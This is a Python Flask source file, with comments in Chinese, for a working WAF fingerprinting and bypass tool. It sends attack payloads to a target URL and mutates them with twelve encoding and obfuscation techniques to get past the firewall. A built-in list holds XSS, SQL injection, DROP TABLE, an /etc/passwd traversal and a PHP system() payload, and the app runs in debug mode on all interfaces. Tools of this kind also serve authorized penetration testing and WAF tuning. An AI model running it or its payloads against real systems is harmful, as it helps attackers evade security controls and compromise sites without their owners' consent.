#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
WAF策略检测与绕过工具
作者: AI Assistant
版本: 1.0.0
"""

import json
import re
import urllib.parse
import base64
from flask import Flask, render_template, request, jsonify
import requests
from datetime import datetime
import time
import random
import string

app = Flask(__name__)

class WAFDetector:
    """WAF检测核心类"""
    
    def __init__(self):
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
        
        # 常见WAF指纹
        self.waf_signatures = {
            'Cloudflare': ['cloudflare', 'cf-ray', 'cloudflare-nginx'],
            'AWS WAF': ['awselb', 'awsalb', 'aws-waf'],
            'ModSecurity': ['mod_security', 'modsecurity', 'not acceptable'],
            'Incapsula': ['incap_ses', 'visid_incap', 'incapsula'],
            'Sucuri': ['sucuri', 'access denied', 'sucuri/cloudproxy'],
            'Akamai': ['akamai', 'reference', 'akamaighost'],
            'F5 BIG-IP': ['bigip', 'f5', 'tmui'],
            'Barracuda': ['barra', 'barracuda', 'blocked'],
            'Fortinet': ['fortinet', 'fortigate', 'fortiweb'],
            'Citrix': ['citrix', 'ns-cache', 'netscaler']
        }
        
        # 绕过技术
        self.bypass_techniques = {
            'url_encode': self._url_encode,
            'double_url_encode': self._double_url_encode,
            'unicode_encode': self._unicode_encode,
            'html_encode': self._html_encode,
            'base64_encode': self._base64_encode,
            'case_mutation': self._case_mutation,
            'comment_obfuscation': self._comment_obfuscation,
            'tab_obfuscation': self._tab_obfuscation,
            'chunked_transfer': self._chunked_transfer,
            'null_byte': self._null_byte,
            'path_traversal': self._path_traversal,
            'http_parameter_pollution': self._http_parameter_pollution
        }
    
    def detect_waf(self, url, payloads):
        """检测WAF策略"""
        results = {
            'target_url': url,
            'detection_time': datetime.now().isoformat(),
            'waf_detected': False,
            'waf_type': None,
            'waf_signatures': [],
            'payload_results': [],
            'bypass_results': []
        }
        
        # 测试基础连接
        try:
            base_response = self.session.get(url, timeout=10)
            base_headers = dict(base_response.headers)
            base_status = base_response.status_code
        except Exception as e:
            return {'error': f'连接失败: {str(e)}'}
        
        # 检测WAF类型
        waf_type = self._identify_waf(base_headers, base_response.text)
        if waf_type:
            results['waf_detected'] = True
            results['waf_type'] = waf_type
        
        # 测试payload
        for payload in payloads:
            payload_result = self._test_payload(url, payload)
            results['payload_results'].append(payload_result)
            
            # 尝试绕过
            bypass_results = self._attempt_bypass(url, payload)
            results['bypass_results'].extend(bypass_results)
        
        return results
    
    def _identify_waf(self, headers, response_text):
        """识别WAF类型"""
        combined_text = str(headers) + response_text.lower()
        
        for waf_name, signatures in self.waf_signatures.items():
            for signature in signatures:
                if signature.lower() in combined_text:
                    return waf_name
        
        return None
    
    def _test_payload(self, url, payload):
        """测试单个payload"""
        try:
            # 测试GET参数
            params = {'test': payload}
            response = self.session.get(url, params=params, timeout=10)
            
            result = {
                'payload': payload,
                'method': 'GET',
                'status_code': response.status_code,
                'response_length': len(response.text),
                'blocked': self._is_blocked(response),
                'headers': dict(response.headers)
            }
            
            # 测试POST参数
            data = {'test': payload}
            post_response = self.session.post(url, data=data, timeout=10)
            
            post_result = {
                'payload': payload,
                'method': 'POST',
                'status_code': post_response.status_code,
                'response_length': len(post_response.text),
                'blocked': self._is_blocked(post_response),
                'headers': dict(post_response.headers)
            }
            
            return {
                'original_payload': payload,
                'get_test': result,
                'post_test': post_result
            }
            
        except Exception as e:
            return {'error': str(e)}
    
    def _is_blocked(self, response):
        """判断是否被拦截"""
        blocked_indicators = [
            response.status_code in [403, 406, 429, 501],
            'blocked' in response.text.lower(),
            'forbidden' in response.text.lower(),
            'access denied' in response.text.lower(),
            'waf' in response.text.lower()
        ]
        return any(blocked_indicators)
    
    def _attempt_bypass(self, url, original_payload):
        """尝试绕过WAF"""
        bypass_results = []
        
        for technique_name, technique_func in self.bypass_techniques.items():
            try:
                bypassed_payload = technique_func(original_payload)
                
                # 测试GET绕过
                params = {'test': bypassed_payload}
                response = self.session.get(url, params=params, timeout=10)
                
                result = {
                    'technique': technique_name,
                    'original_payload': original_payload,
                    'bypassed_payload': bypassed_payload,
                    'method': 'GET',
                    'status_code': response.status_code,
                    'response_length': len(response.text),
                    'bypassed': not self._is_blocked(response),
                    'headers': dict(response.headers)
                }
                
                bypass_results.append(result)
                
                # 测试POST绕过
                data = {'test': bypassed_payload}
                post_response = self.session.post(url, data=data, timeout=10)
                
                post_result = {
                    'technique': technique_name,
                    'original_payload': original_payload,
                    'bypassed_payload': bypassed_payload,
                    'method': 'POST',
                    'status_code': post_response.status_code,
                    'response_length': len(post_response.text),
                    'bypassed': not self._is_blocked(post_response),
                    'headers': dict(post_response.headers)
                }
                
                bypass_results.append(post_result)
                
            except Exception as e:
                bypass_results.append({
                    'technique': technique_name,
                    'error': str(e)
                })
        
        return bypass_results
    
    # 绕过技术实现
    def _url_encode(self, payload):
        """URL编码"""
        return urllib.parse.quote(payload)
    
    def _double_url_encode(self, payload):
        """双重URL编码"""
        return urllib.parse.quote(urllib.parse.quote(payload))
    
    def _unicode_encode(self, payload):
        """Unicode编码"""
        return ''.join(f'\\u{ord(c):04x}' for c in payload)
    
    def _html_encode(self, payload):
        """HTML实体编码"""
        return ''.join(f'&#{ord(c)};' for c in payload)
    
    def _base64_encode(self, payload):
        """Base64编码"""
        return base64.b64encode(payload.encode()).decode()
    
    def _case_mutation(self, payload):
        """大小写混淆"""
        return ''.join(c.upper() if random.choice([True, False]) else c.lower() for c in payload)
    
    def _comment_obfuscation(self, payload):
        """注释混淆"""
        comments = ['/**/', '<!-- -->', '<%-- --%>', '{# #}', '#']
        comment = random.choice(comments)
        return payload.replace(' ', f' {comment} ')
    
    def _tab_obfuscation(self, payload):
        """Tab混淆"""
        return payload.replace(' ', '\t')
    
    def _chunked_transfer(self, payload):
        """分块传输编码"""
        return payload
    
    def _null_byte(self, payload):
        """空字节绕过"""
        return payload + '%00'
    
    def _path_traversal(self, payload):
        """路径遍历"""
        traversals = ['../', '..\\', '....//', '..%2f']
        traversal = random.choice(traversals)
        return traversal + payload
    
    def _http_parameter_pollution(self, payload):
        """HTTP参数污染"""
        return f"{payload}&test={payload}"

# 全局WAF检测器实例
detector = WAFDetector()

@app.route('/')
def index():
    """主页"""
    return render_template('index.html')

@app.route('/api/detect', methods=['POST'])
def detect():
    """API接口：检测WAF"""
    data = request.json
    url = data.get('url')
    payloads = data.get('payloads', [])
    
    if not url or not payloads:
        return jsonify({'error': 'URL和payloads不能为空'}), 400
    
    results = detector.detect_waf(url, payloads)
    return jsonify(results)

@app.route('/api/payloads')
def get_payloads():
    """获取内置payload列表"""
    payloads = [
        "<script>alert('XSS')</script>",
        "' OR 1=1--",
        "../../../etc/passwd",
        "<img src=x onerror=alert(1)>",
        "SELECT * FROM users",
        "<?php system('id'); ?>",
        "'; DROP TABLE users; --",
        "<iframe src=javascript:alert(1)>",
        "javascript:alert(1)",
        "union select null,null,null--"
    ]
    return jsonify(payloads)

if __name__ == '__main__':
    app.run(debug=True, host='0.0.0.0', port=5000)
